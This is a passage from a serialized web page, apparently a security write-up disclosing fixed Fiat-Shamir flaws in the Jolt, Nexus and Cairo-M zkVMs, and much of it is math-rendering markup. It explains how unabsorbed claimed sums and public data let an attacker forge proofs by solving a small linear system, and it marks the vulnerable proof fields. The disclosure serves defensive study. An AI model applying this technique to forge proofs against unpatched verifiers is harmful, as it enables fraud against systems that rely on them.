"type":21,"tag":22,"props":117203,"children":117204},{},[117205],{"type":26,"value":117206},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":21,"tag":22,"props":117208,"children":117209},{},[117210],{"type":26,"value":117211},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":21,"tag":22,"props":117213,"children":117214},{},[117215,117220,117222],{"type":21,"tag":873,"props":117216,"children":117217},{},[117218],{"type":26,"value":117219},"Status:",{"type":26,"value":117221}," Fixed on October 3, 2025 via ",{"type":21,"tag":335,"props":117223,"children":117226},{"href":117224,"rel":117225},"https://github.com/a16z/jolt/pull/981",[339],[117227],{"type":26,"value":117228},"PR #981",{"type":21,"tag":19218,"props":117230,"children":117231},{},[],{"type":21,"tag":10022,"props":117233,"children":117235},{"id":117234},"nexus",[117236],{"type":26,"value":108328},{"type":21,"tag":22,"props":117238,"children":117239},{},[117240],{"type":26,"value":117241},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":21,"tag":22,"props":117243,"children":117244},{},[117245,117247,117252],{"type":26,"value":117246},"Nexus splits verification into ",{"type":21,"tag":873,"props":117248,"children":117249},{},[117250],{"type":26,"value":117251},"components",{"type":26,"value":117253}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":21,"tag":22,"props":117255,"children":117256},{},[117257,117259,117264],{"type":26,"value":117258},"Each component emits and consumes lookup tuples. The component's ",{"type":21,"tag":66,"props":117260,"children":117262},{"className":117261},[],[117263],{"type":26,"value":115373},{"type":26,"value":117265}," summarizes its net contribution:",{"type":21,"tag":22,"props":117267,"children":117268},{},[117269],{"type":21,"tag":66,"props":117270,"children":117272},{"className":117271},[4748,4749],[117273],{"type":21,"tag":85,"props":117274,"children":117276},{"className":117275},[4754],[117277],{"type":21,"tag":85,"props":117278,"children":117280},{"className":117279,"ariaHidden":4760},[4759],[117281,117377,117626],{"type":21,"tag":85,"props":117282,"children":117284},{"className":117283},[4765],[117285,117289,117298,117303,117364,117368,117373],{"type":21,"tag":85,"props":117286,"children":117288},{"className":117287,"style":94922},[4770],[],{"type":21,"tag":85,"props":117290,"children":117292},{"className":117291},[4776,26],[117293],{"type":21,"tag":85,"props":117294,"children":117296},{"className":117295},[4776],[117297],{"type":26,"value":114602},{"type":21,"tag":85,"props":117299,"children":117301},{"className":117300,"style":93509},[4776],[117302],{"type":26,"value":3856},{"type":21,"tag":85,"props":117304,"children":117306},{"className":117305},[4776],[117307,117316],{"type":21,"tag":85,"props":117308,"children":117310},{"className":117309},[4776,26],[117311],{"type":21,"tag":85,"props":117312,"children":117314},{"className":117313},[4776],[117315],{"type":26,"value":77094},{"type":21,"tag":85,"props":117317,"children":117319},{"className":117318},[4793],[117320],{"type":21,"tag":85,"props":117321,"children":117323},{"className":117322},[4798,22070],[117324,117353],{"type":21,"tag":85,"props":117325,"children":117327},{"className":117326},[4803],[117328,117348],{"type":21,"tag":85,"props":117329,"children":117331},{"className":117330,"style":94038},[4808],[117332],{"type":21,"tag":85,"props":117333,"children":117334},{"style":114639},[117335,117339],{"type":21,"tag":85,"props":117336,"children":117338},{"className":117337,"style":4818},[4817],[],{"type":21,"tag":85,"props":117340,"children":117342},{"className":117341},[4823,4824,4825,4826],[117343],{"type":21,"tag":85,"props":117344,"children":117346},{"className":117345},[4776,22016,4826],[117347],{"type":26,"value":3003},{"type":21,"tag":85,"props":117349,"children":117351},{"className":117350},[22173],[117352],{"type":26,"value":22176},{"type":21,"tag":85,"props":117354,"children":117356},{"className":117355},[4803],[117357],{"type":21,"tag":85,"props":117358,"children":117360},{"className":117359,"style":93592},[4808],[117361],{"type":21,"tag":85,"props":117362,"children":117363},{},[],{"type":21,"tag":85,"props":117365,"children":117367},{"className":117366,"style":4955},[4857],[],{"type":21,"tag":85,"props":117369,"children":117371},{"className":117370},[4960],[117372],{"type":26,"value":741},{"type":21,"tag":85,"props":117374,"children":117376},{"className":117375,"style":4955},[4857],[],{"type":21,"tag":85,"props":117378,"children":117380},{"className":117379},[4765],[117381,117386,117443,117447,117613,117617,117622],{"type":21,"tag":85,"props":117382,"children":117385},{"className":117383,"style":117384},[4770],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":21,"tag":85,"props":117387,"children":117389},{"className":117388},[22052],[117390,117395],{"type":21,"tag":85,"props":117391,"children":117393},{"className":117392,"style":22059},[22052,22057,22058],[117394],{"type":26,"value":109304},{"type":21,"tag":85,"props":117396,"children":117398},{"className":117397},[4793],[117399],{"type":21,"tag":85,"props":117400,"children":117402},{"className":117401},[4798,22070],[117403,117432],{"type":21,"tag":85,"props":117404,"children":117406},{"className":117405},[4803],[117407,117427],{"type":21,"tag":85,"props":117408,"children":117410},{"className":117409,"style":114716},[4808],[117411],{"type":21,"tag":85,"props":117412,"children":117413},{"style":22083},[117414,117418],{"type":21,"tag":85,"props":117415,"children":117417},{"className":117416,"style":4818},[4817],[],{"type":21,"tag":85,"props":117419,"children":117421},{"className":117420},[4823,4824,4825,4826],[117422],{"type":21,"tag":85,"props":117423,"children":117425},{"className":117424,"style":114732},[4776,22016,4826],[117426],{"type":26,"value":3021},{"type":21,"tag":85,"props":117428,"children":117430},{"className":117429},[22173],[117431],{"type":26,"value":22176},{"type":21,"tag":85,"props":117433,"children":117435},{"className":117434},[4803],[117436],{"type":21,"tag":85,"props":117437,"children":117439},{"className":117438,"style":114747},[4808],[117440],{"type":21,"tag":85,"props":117441,"children":117442},{},[],{"type":21,"tag":85,"props":117444,"children":117446},{"className":117445,"style":4896},[4857],[],{"type":21,"tag":85,"props":117448,"children":117450},{"className":117449},[4776],[117451,117455,117609],{"type":21,"tag":85,"props":117452,"children":117454},{"className":117453},[22145,114027],[],{"type":21,"tag":85,"props":117456,"children":117458},{"className":117457},[114032],[117459],{"type":21,"tag":85,"props":117460,"children":117462},{"className":117461},[4798,22070],[117463,117597],{"type":21,"tag":85,"props":117464,"children":117466},{"className":117465},[4803],[117467,117592],{"type":21,"tag":85,"props":117468,"children":117470},{"className":117469,"style":114045},[4808],[117471,117561,117572],{"type":21,"tag":85,"props":117472,"children":117473},{"style":114049},[117474,117478],{"type":21,"tag":85,"props":117475,"children":117477},{"className":117476,"style":112680},[4817],[],{"type":21,"tag":85,"props":117479,"children":117481},{"className":117480},[4823,4824,4825,4826],[117482],{"type":21,"tag":85,"props":117483,"children":117485},{"className":117484},[4776,4826],[117486,117491,117496],{"type":21,"tag":85,"props":117487,"children":117489},{"className":117488,"style":114066},[4776,22016,4826],[117490],{"type":26,"value":114069},{"type":21,"tag":85,"props":117492,"children":117494},{"className":117493},[4863,4826],[117495],{"type":26,"value":4837},{"type":21,"tag":85,"props":117497,"children":117499},{"className":117498},[4776,4826],[117500,117510],{"type":21,"tag":85,"props":117501,"children":117503},{"className":117502},[4776,26,4826],[117504],{"type":21,"tag":85,"props":117505,"children":117507},{"className":117506},[4776,4826],[117508],{"type":26,"value":117509},"produced",{"type":21,"tag":85,"props":117511,"children":117513},{"className":117512},[4793],[117514],{"type":21,"tag":85,"props":117515,"children":117517},{"className":117516},[4798,22070],[117518,117549],{"type":21,"tag":85,"props":117519,"children":117521},{"className":117520},[4803],[117522,117544],{"type":21,"tag":85,"props":117523,"children":117526},{"className":117524,"style":117525},[4808],"height:0.2052em;",[117527],{"type":21,"tag":85,"props":117528,"children":117530},{"style":117529},"top:-2.2341em;margin-right:0.0714em;",[117531,117535],{"type":21,"tag":85,"props":117532,"children":117534},{"className":117533,"style":109369},[4817],[],{"type":21,"tag":85,"props":117536,"children":117538},{"className":117537},[4823,109374,109375,4826],[117539],{"type":21,"tag":85,"props":117540,"children":117542},{"className":117541,"style":114732},[4776,22016,4826],[117543],{"type":26,"value":3021},{"type":21,"tag":85,"props":117545,"children":117547},{"className":117546},[22173],[117548],{"type":26,"value":22176},{"type":21,"tag":85,"props":117550,"children":117552},{"className":117551},[4803],[117553],{"type":21,"tag":85,"props":117554,"children":117557},{"className":117555,"style":117556},[4808],"height:0.4048em;",[117558],{"type":21,"tag":85,"props":117559,"children":117560},{},[],{"type":21,"tag":85,"props":117562,"children":117563},{"style":114082},[117564,117568],{"type":21,"tag":85,"props":117565,"children":117567},{"className":117566,"style":112680},[4817],[],{"type":21,"tag":85,"props":117569,"children":117571},{"className":117570,"style":114092},[114091],[],{"type":21,"tag":85,"props":117573,"children":117574},{"style":114096},[117575,117579],{"type":21,"tag":85,"props":117576,"children":117578},{"className":117577,"style":112680},[4817],[],{"type":21,"tag":85,"props":117580,"children":117582},{"className":117581},[4823,4824,4825,4826],[117583],{"type":21,"tag":85,"props":117584,"children":117586},{"className":117585},[4776,4826],[117587],{"type":21,"tag":85,"props":117588,"children":117590},{"className":117589},[4776,4826],[117591],{"type":26,"value":4779},{"type":21,"tag":85,"props":117593,"children":117595},{"className":117594},[22173],[117596],{"type":26,"value":22176},{"type":21,"tag":85,"props":117598,"children":117600},{"className":117599},[4803],[117601],{"type":21,"tag":85,"props":117602,"children":117605},{"className":117603,"style":117604},[4808],"height:0.6283em;",[117606],{"type":21,"tag":85,"props":117607,"children":117608},{},[],{"type":21,"tag":85,"props":117610,"children":117612},{"className":117611},[22167,114027],[],{"type":21,"tag":85,"props":117614,"children":117616},{"className":117615,"style":4858},[4857],[],{"type":21,"tag":85,"props":117618,"children":117620},{"className":117619},[4863],[117621],{"type":26,"value":4837},{"type":21,"tag":85,"props":117623,"children":117625},{"className":117624,"style":4858},[4857],[],{"type":21,"tag":85,"props":117627,"children":117629},{"className":117628},[4765],[117630,117634,117691,117695],{"type":21,"tag":85,"props":117631,"children":117633},{"className":117632,"style":114941},[4770],[],{"type":21,"tag":85,"props":117635,"children":117637},{"className":117636},[22052],[117638,117643],{"type":21,"tag":85,"props":117639,"children":117641},{"className":117640,"style":22059},[22052,22057,22058],[117642],{"type":26,"value":109304},{"type":21,"tag":85,"props":117644,"children":117646},{"className":117645},[4793],[117647],{"type":21,"tag":85,"props":117648,"children":117650},{"className":117649},[4798,22070],[117651,117680],{"type":21,"tag":85,"props":117652,"children":117654},{"className":117653},[4803],[117655,117675],{"type":21,"tag":85,"props":117656,"children":117658},{"className":117657,"style":114181},[4808],[117659],{"type":21,"tag":85,"props":117660,"children":117661},{"style":22083},[117662,117666],{"type":21,"tag":85,"props":117663,"children":117665},{"className":117664,"style":4818},[4817],[],{"type":21,"tag":85,"props":117667,"children":117669},{"className":117668},[4823,4824,4825,4826],[117670],{"type":21,"tag":85,"props":117671,"children":117673},{"className":117672,"style":94938},[4776,22016,4826],[117674],{"type":26,"value":89146},{"type":21,"tag":85,"props":117676,"children":117678},{"className":117677},[22173],[117679],{"type":26,"value":22176},{"type":21,"tag":85,"props":117681,"children":117683},{"className":117682},[4803],[117684],{"type":21,"tag":85,"props":117685,"children":117687},{"className":117686,"style":114996},[4808],[117688],{"type":21,"tag":85,"props":117689,"children":117690},{},[],{"type":21,"tag":85,"props":117692,"children":117694},{"className":117693,"style":4896},[4857],[],{"type":21,"tag":85,"props":117696,"children":117698},{"className":117697},[4776],[117699,117703,117853],{"type":21,"tag":85,"props":117700,"children":117702},{"className":117701},[22145,114027],[],{"type":21,"tag":85,"props":117704,"children":117706},{"className":117705},[114032],[117707],{"type":21,"tag":85,"props":117708,"children":117710},{"className":117709},[4798,22070],[117711,117842],{"type":21,"tag":85,"props":117712,"children":117714},{"className":117713},[4803],[117715,117837],{"type":21,"tag":85,"props":117716,"children":117718},{"className":117717,"style":114045},[4808],[117719,117806,117817],{"type":21,"tag":85,"props":117720,"children":117721},{"style":114049},[117722,117726],{"type":21,"tag":85,"props":117723,"children":117725},{"className":117724,"style":112680},[4817],[],{"type":21,"tag":85,"props":117727,"children":117729},{"className":117728},[4823,4824,4825,4826],[117730],{"type":21,"tag":85,"props":117731,"children":117733},{"className":117732},[4776,4826],[117734,117739,117744],{"type":21,"tag":85,"props":117735,"children":117737},{"className":117736,"style":114066},[4776,22016,4826],[117738],{"type":26,"value":114069},{"type":21,"tag":85,"props":117740,"children":117742},{"className":117741},[4863,4826],[117743],{"type":26,"value":4837},{"type":21,"tag":85,"props":117745,"children":117747},{"className":117746},[4776,4826],[117748,117758],{"type":21,"tag":85,"props":117749,"children":117751},{"className":117750},[4776,26,4826],[117752],{"type":21,"tag":85,"props":117753,"children":117755},{"className":117754},[4776,4826],[117756],{"type":26,"value":117757},"consumed",{"type":21,"tag":85,"props":117759,"children":117761},{"className":117760},[4793],[117762],{"type":21,"tag":85,"props":117763,"children":117765},{"className":117764},[4798,22070],[117766,117795],{"type":21,"tag":85,"props":117767,"children":117769},{"className":117768},[4803],[117770,117790],{"type":21,"tag":85,"props":117771,"children":117773},{"className":117772,"style":112841},[4808],[117774],{"type":21,"tag":85,"props":117775,"children":117776},{"style":115086},[117777,117781],{"type":21,"tag":85,"props":117778,"children":117780},{"className":117779,"style":109369},[4817],[],{"type":21,"tag":85,"props":117782,"children":117784},{"className":117783},[4823,109374,109375,4826],[117785],{"type":21,"tag":85,"props":117786,"children":117788},{"className":117787,"style":94938},[4776,22016,4826],[117789],{"type":26,"value":89146},{"type":21,"tag":85,"props":117791,"children":117793},{"className":117792},[22173],[117794],{"type":26,"value":22176},{"type":21,"tag":85,"props":117796,"children":117798},{"className":117797},[4803],[117799],{"type":21,"tag":85,"props":117800,"children":117802},{"className":117801,"style":115113},[4808],[117803],{"type":21,"tag":85,"props":117804,"children":117805},{},[],{"type":21,"tag":85,"props":117807,"children":117808},{"style":114082},[117809,117813],{"type":21,"tag":85,"props":117810,"children":117812},{"className":117811,"style":112680},[4817],[],{"type":21,"tag":85,"props":117814,"children":117816},{"className":117815,"style":114092},[114091],[],{"type":21,"tag":85,"props":117818,"children":117819},{"style":114096},[117820,117824],{"type":21,"tag":85,"props":117821,"children":117823},{"className":117822,"style":112680},[4817],[],{"type":21,"tag":85,"props":117825,"children":117827},{"className":117826},[4823,4824,4825,4826],[117828],{"type":21,"tag":85,"props":117829,"children":117831},{"className":117830},[4776,4826],[117832],{"type":21,"tag":85,"props":117833,"children":117835},{"className":117834},[4776,4826],[117836],{"type":26,"value":4779},{"type":21,"tag":85,"props":117838,"children":117840},{"className":117839},[22173],[117841],{"type":26,"value":22176},{"type":21,"tag":85,"props":117843,"children":117845},{"className":117844},[4803],[117846],{"type":21,"tag":85,"props":117847,"children":117849},{"className":117848,"style":115161},[4808],[117850],{"type":21,"tag":85,"props":117851,"children":117852},{},[],{"type":21,"tag":85,"props":117854,"children":117856},{"className":117855},[22167,114027],[],{"type":21,"tag":22,"props":117858,"children":117859},{},[117860,117862,117867],{"type":26,"value":117861},"All ",{"type":21,"tag":66,"props":117863,"children":117865},{"className":117864},[],[117866],{"type":26,"value":115373},{"type":26,"value":117868}," values must sum to zero (everything produced is consumed).",{"type":21,"tag":22,"props":117870,"children":117871},{},[117872,117874,117879],{"type":26,"value":117873},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":21,"tag":873,"props":117875,"children":117876},{},[117877],{"type":26,"value":117878},"OODS (Out-of-Domain Sampling)",{"type":26,"value":117880}," test.",{"type":21,"tag":22,"props":117882,"children":117883},{},[117884],{"type":21,"tag":873,"props":117885,"children":117886},{},[117887],{"type":26,"value":115925},{"type":21,"tag":75,"props":117889,"children":117891},{"code":117890},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[117892],{"type":21,"tag":66,"props":117893,"children":117894},{"__ignoreMap":7},[117895],{"type":26,"value":117890},{"type":21,"tag":22,"props":117897,"children":117898},{},[117899,117901,117906],{"type":26,"value":117900},"The",{"type":21,"tag":66,"props":117902,"children":117904},{"className":117903},[],[117905],{"type":26,"value":115373},{"type":26,"value":117907}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":21,"tag":22,"props":117909,"children":117910},{},[117911],{"type":21,"tag":4681,"props":117912,"children":117915},{"alt":117913,"src":117914},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":21,"tag":22,"props":117917,"children":117918},{},[117919,117921,117930],{"type":26,"value":117920},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":21,"tag":873,"props":117922,"children":117923},{},[117924,117925],{"type":26,"value":112380},{"type":21,"tag":66,"props":117926,"children":117928},{"className":117927},[],[117929],{"type":26,"value":115373},{"type":26,"value":172},{"type":21,"tag":22,"props":117932,"children":117933},{},[117934],{"type":26,"value":117935},"The composition polynomial is a random linear combination of constraints:",{"type":21,"tag":22,"props":117937,"children":117938},{},[117939],{"type":21,"tag":66,"props":117940,"children":117942},{"className":117941},[4748,4749],[117943],{"type":21,"tag":85,"props":117944,"children":117946},{"className":117945},[4754],[117947],{"type":21,"tag":85,"props":117948,"children":117950},{"className":117949,"ariaHidden":4760},[4759],[117951,117992,118131],{"type":21,"tag":85,"props":117952,"children":117954},{"className":117953},[4765],[117955,117959,117964,117969,117974,117979,117983,117988],{"type":21,"tag":85,"props":117956,"children":117958},{"className":117957,"style":4878},[4770],[],{"type":21,"tag":85,"props":117960,"children":117962},{"className":117961,"style":22548},[4776,22016],[117963],{"type":26,"value":116738},{"type":21,"tag":85,"props":117965,"children":117967},{"className":117966},[22145],[117968],{"type":26,"value":1439},{"type":21,"tag":85,"props":117970,"children":117972},{"className":117971},[4776,22016],[117973],{"type":26,"value":19702},{"type":21,"tag":85,"props":117975,"children":117977},{"className":117976},[22167],[117978],{"type":26,"value":1900},{"type":21,"tag":85,"props":117980,"children":117982},{"className":117981,"style":4955},[4857],[],{"type":21,"tag":85,"props":117984,"children":117986},{"className":117985},[4960],[117987],{"type":26,"value":741},{"type":21,"tag":85,"props":117989,"children":117991},{"className":117990,"style":4955},[4857],[],{"type":21,"tag":85,"props":117993,"children":117995},{"className":117994},[4765],[117996,118000,118057,118061,118118,118122,118127],{"type":21,"tag":85,"props":117997,"children":117999},{"className":117998,"style":116142},[4770],[],{"type":21,"tag":85,"props":118001,"children":118003},{"className":118002},[22052],[118004,118009],{"type":21,"tag":85,"props":118005,"children":118007},{"className":118006,"style":22059},[22052,22057,22058],[118008],{"type":26,"value":109304},{"type":21,"tag":85,"props":118010,"children":118012},{"className":118011},[4793],[118013],{"type":21,"tag":85,"props":118014,"children":118016},{"className":118015},[4798,22070],[118017,118046],{"type":21,"tag":85,"props":118018,"children":118020},{"className":118019},[4803],[118021,118041],{"type":21,"tag":85,"props":118022,"children":118024},{"className":118023,"style":114716},[4808],[118025],{"type":21,"tag":85,"props":118026,"children":118027},{"style":22083},[118028,118032],{"type":21,"tag":85,"props":118029,"children":118031},{"className":118030,"style":4818},[4817],[],{"type":21,"tag":85,"props":118033,"children":118035},{"className":118034},[4823,4824,4825,4826],[118036],{"type":21,"tag":85,"props":118037,"children":118039},{"className":118038},[4776,22016,4826],[118040],{"type":26,"value":3003},{"type":21,"tag":85,"props":118042,"children":118044},{"className":118043},[22173],[118045],{"type":26,"value":22176},{"type":21,"tag":85,"props":118047,"children":118049},{"className":118048},[4803],[118050],{"type":21,"tag":85,"props":118051,"children":118053},{"className":118052,"style":114996},[4808],[118054],{"type":21,"tag":85,"props":118055,"children":118056},{},[],{"type":21,"tag":85,"props":118058,"children":118060},{"className":118059,"style":4896},[4857],[],{"type":21,"tag":85,"props":118062,"children":118064},{"className":118063},[4776],[118065,118070],{"type":21,"tag":85,"props":118066,"children":118068},{"className":118067,"style":115597},[4776,22016],[118069],{"type":26,"value":115600},{"type":21,"tag":85,"props":118071,"children":118073},{"className":118072},[4793],[118074],{"type":21,"tag":85,"props":118075,"children":118077},{"className":118076},[4798,22070],[118078,118107],{"type":21,"tag":85,"props":118079,"children":118081},{"className":118080},[4803],[118082,118102],{"type":21,"tag":85,"props":118083,"children":118085},{"className":118084,"style":94038},[4808],[118086],{"type":21,"tag":85,"props":118087,"children":118088},{"style":116232},[118089,118093],{"type":21,"tag":85,"props":118090,"children":118092},{"className":118091,"style":4818},[4817],[],{"type":21,"tag":85,"props":118094,"children":118096},{"className":118095},[4823,4824,4825,4826],[118097],{"type":21,"tag":85,"props":118098,"children":118100},{"className":118099},[4776,22016,4826],[118101],{"type":26,"value":3003},{"type":21,"tag":85,"props":118103,"children":118105},{"className":118104},[22173],[118106],{"type":26,"value":22176},{"type":21,"tag":85,"props":118108,"children":118110},{"className":118109},[4803],[118111],{"type":21,"tag":85,"props":118112,"children":118114},{"className":118113,"style":93592},[4808],[118115],{"type":21,"tag":85,"props":118116,"children":118117},{},[],{"type":21,"tag":85,"props":118119,"children":118121},{"className":118120,"style":4858},[4857],[],{"type":21,"tag":85,"props":118123,"children":118125},{"className":118124},[4863],[118126],{"type":26,"value":111771},{"type":21,"tag":85,"props":118128,"children":118130},{"className":118129,"style":4858},[4857],[],{"type":21,"tag":85,"props":118132,"children":118134},{"className":118133},[4765],[118135,118139,118201,118206,118211],{"type":21,"tag":85,"props":118136,"children":118138},{"className":118137,"style":4878},[4770],[],{"type":21,"tag":85,"props":118140,"children":118142},{"className":118141},[4776],[118143,118153],{"type":21,"tag":85,"props":118144,"children":118146},{"className":118145},[4776,26],[118147],{"type":21,"tag":85,"props":118148,"children":118150},{"className":118149},[4776],[118151],{"type":26,"value":118152},"constraint",{"type":21,"tag":85,"props":118154,"children":118156},{"className":118155},[4793],[118157],{"type":21,"tag":85,"props":118158,"children":118160},{"className":118159},[4798,22070],[118161,118190],{"type":21,"tag":85,"props":118162,"children":118164},{"className":118163},[4803],[118165,118185],{"type":21,"tag":85,"props":118166,"children":118168},{"className":118167,"style":94038},[4808],[118169],{"type":21,"tag":85,"props":118170,"children":118171},{"style":114639},[118172,118176],{"type":21,"tag":85,"props":118173,"children":118175},{"className":118174,"style":4818},[4817],[],{"type":21,"tag":85,"props":118177,"children":118179},{"className":118178},[4823,4824,4825,4826],[118180],{"type":21,"tag":85,"props":118181,"children":118183},{"className":118182},[4776,22016,4826],[118184],{"type":26,"value":3003},{"type":21,"tag":85,"props":118186,"children":118188},{"className":118187},[22173],[118189],{"type":26,"value":22176},{"type":21,"tag":85,"props":118191,"children":118193},{"className":118192},[4803],[118194],{"type":21,"tag":85,"props":118195,"children":118197},{"className":118196,"style":93592},[4808],[118198],{"type":21,"tag":85,"props":118199,"children":118200},{},[],{"type":21,"tag":85,"props":118202,"children":118204},{"className":118203},[22145],[118205],{"type":26,"value":1439},{"type":21,"tag":85,"props":118207,"children":118209},{"className":118208},[4776,22016],[118210],{"type":26,"value":19702},{"type":21,"tag":85,"props":118212,"children":118214},{"className":118213},[22167],[118215],{"type":26,"value":1900},{"type":21,"tag":22,"props":118217,"children":118218},{},[118219,118221,118226,118228,118233],{"type":26,"value":118220},"Since each constraint is linear in its ",{"type":21,"tag":66,"props":118222,"children":118224},{"className":118223},[],[118225],{"type":26,"value":115373},{"type":26,"value":118227},", the overall composition polynomial is linear in all ",{"type":21,"tag":66,"props":118229,"children":118231},{"className":118230},[],[118232],{"type":26,"value":115373},{"type":26,"value":118234}," values.",{"type":21,"tag":22,"props":118236,"children":118237},{},[118238,118240],{"type":26,"value":118239},"The verifier checks ",{"type":21,"tag":66,"props":118241,"children":118243},{"className":118242},[4748,4749],[118244],{"type":21,"tag":85,"props":118245,"children":118247},{"className":118246},[4754],[118248],{"type":21,"tag":85,"props":118249,"children":118251},{"className":118250,"ariaHidden":4760},[4759],[118252,118313],{"type":21,"tag":85,"props":118253,"children":118255},{"className":118254},[4765],[118256,118260,118265,118270,118280,118285,118295,118300,118304,118309],{"type":21,"tag":85,"props":118257,"children":118259},{"className":118258,"style":93451},[4770],[],{"type":21,"tag":85,"props":118261,"children":118263},{"className":118262,"style":22548},[4776,22016],[118264],{"type":26,"value":116738},{"type":21,"tag":85,"props":118266,"children":118268},{"className":118267},[22145],[118269],{"type":26,"value":1439},{"type":21,"tag":85,"props":118271,"children":118273},{"className":118272},[4776,26],[118274],{"type":21,"tag":85,"props":118275,"children":118277},{"className":118276},[4776],[118278],{"type":26,"value":118279},"oods",{"type":21,"tag":85,"props":118281,"children":118283},{"className":118282,"style":93509},[4776],[118284],{"type":26,"value":3856},{"type":21,"tag":85,"props":118286,"children":118288},{"className":118287},[4776,26],[118289],{"type":21,"tag":85,"props":118290,"children":118292},{"className":118291},[4776],[118293],{"type":26,"value":118294},"point",{"type":21,"tag":85,"props":118296,"children":118298},{"className":118297},[22167],[118299],{"type":26,"value":1900},{"type":21,"tag":85,"props":118301,"children":118303},{"className":118302,"style":4955},[4857],[],{"type":21,"tag":85,"props":118305,"children":118307},{"className":118306},[4960],[118308],{"type":26,"value":741},{"type":21,"tag":85,"props":118310,"children":118312},{"className":118311,"style":4955},[4857],[],{"type":21,"tag":85,"props":118314,"children":118316},{"className":118315},[4765],[118317,118321],{"type":21,"tag":85,"props":118318,"children":118320},{"className":118319,"style":115564},[4770],[],{"type":21,"tag":85,"props":118322,"children":118324},{"className":118323},[4776,26],[118325],{"type":21,"tag":85,"props":118326,"children":118328},{"className":118327},[4776],[118329],{"type":26,"value":117063},{"type":21,"tag":22,"props":118331,"children":118332},{},[118333,118335,118340,118342,118347],{"type":26,"value":118334},"With ",{"type":21,"tag":66,"props":118336,"children":118338},{"className":118337},[],[118339],{"type":26,"value":115373},{"type":26,"value":118341}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":21,"tag":66,"props":118343,"children":118345},{"className":118344},[],[118346],{"type":26,"value":115373},{"type":26,"value":118348}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":21,"tag":22,"props":118350,"children":118351},{},[118352,118356,118358],{"type":21,"tag":873,"props":118353,"children":118354},{},[118355],{"type":26,"value":117219},{"type":26,"value":118357}," Fixed on October 24, 2025 via ",{"type":21,"tag":335,"props":118359,"children":118362},{"href":118360,"rel":118361},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[339],[118363],{"type":26,"value":118364},"PR #503",{"type":21,"tag":19218,"props":118366,"children":118367},{},[],{"type":21,"tag":10022,"props":118369,"children":118371},{"id":118370},"cairo-m-kakarot-labs",[118372],{"type":26,"value":118373},"Cairo-M (Kakarot Labs)",{"type":21,"tag":22,"props":118375,"children":118376},{},[118377],{"type":26,"value":118378},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":21,"tag":22,"props":118380,"children":118381},{},[118382],{"type":26,"value":118383},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":21,"tag":22,"props":118385,"children":118386},{},[118387],{"type":21,"tag":873,"props":118388,"children":118389},{},[118390],{"type":26,"value":115925},{"type":21,"tag":75,"props":118392,"children":118394},{"code":118393},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[118395],{"type":21,"tag":66,"props":118396,"children":118397},{"__ignoreMap":7},[118398],{"type":26,"value":118393},{"type":21,"tag":22,"props":118400,"children":118401},{},[118402],{"type":21,"tag":873,"props":118403,"children":118404},{},[118405],{"type":26,"value":115941},{"type":21,"tag":22,"props":118407,"children":118408},{},[118409],{"type":21,"tag":4681,"props":118410,"children":118413},{"alt":118411,"src":118412},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":21,"tag":22,"props":118415,"children":118416},{},[118417,118419,118425],{"type":26,"value":118418},"Lookup challenges are derived without ",{"type":21,"tag":66,"props":118420,"children":118422},{"className":118421},[],[118423],{"type":26,"value":118424},"public_data",{"type":26,"value":118426}," being  mixed into the transcript.",{"type":21,"tag":22,"props":118428,"children":118429},{},[118430,118431,118436,118438,118443],{"type":26,"value":17034},{"type":21,"tag":66,"props":118432,"children":118434},{"className":118433},[],[118435],{"type":26,"value":118424},{"type":26,"value":118437}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":21,"tag":39,"props":118439,"children":118440},{},[118441],{"type":26,"value":118442},"denominators",{"type":26,"value":118444}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":21,"tag":22,"props":118446,"children":118447},{},[118448],{"type":21,"tag":66,"props":118449,"children":118451},{"className":118450},[4748,4749],[118452],{"type":21,"tag":85,"props":118453,"children":118455},{"className":118454},[4754],[118456],{"type":21,"tag":85,"props":118457,"children":118459},{"className":118458,"ariaHidden":4760},[4759],[118460,118520,118566,118612],{"type":21,"tag":85,"props":118461,"children":118463},{"className":118462},[4765],[118464,118468,118474,118479,118488,118493,118502,118507,118511,118516],{"type":21,"tag":85,"props":118465,"children":118467},{"className":118466,"style":93451},[4770],[],{"type":21,"tag":85,"props":118469,"children":118471},{"className":118470},[4776,22016],[118472],{"type":26,"value":118473},"L",{"type":21,"tag":85,"props":118475,"children":118477},{"className":118476},[22145],[118478],{"type":26,"value":1439},{"type":21,"tag":85,"props":118480,"children":118482},{"className":118481},[4776,26],[118483],{"type":21,"tag":85,"props":118484,"children":118486},{"className":118485},[4776],[118487],{"type":26,"value":62133},{"type":21,"tag":85,"props":118489,"children":118491},{"className":118490,"style":93509},[4776],[118492],{"type":26,"value":3856},{"type":21,"tag":85,"props":118494,"children":118496},{"className":118495},[4776,26],[118497],{"type":21,"tag":85,"props":118498,"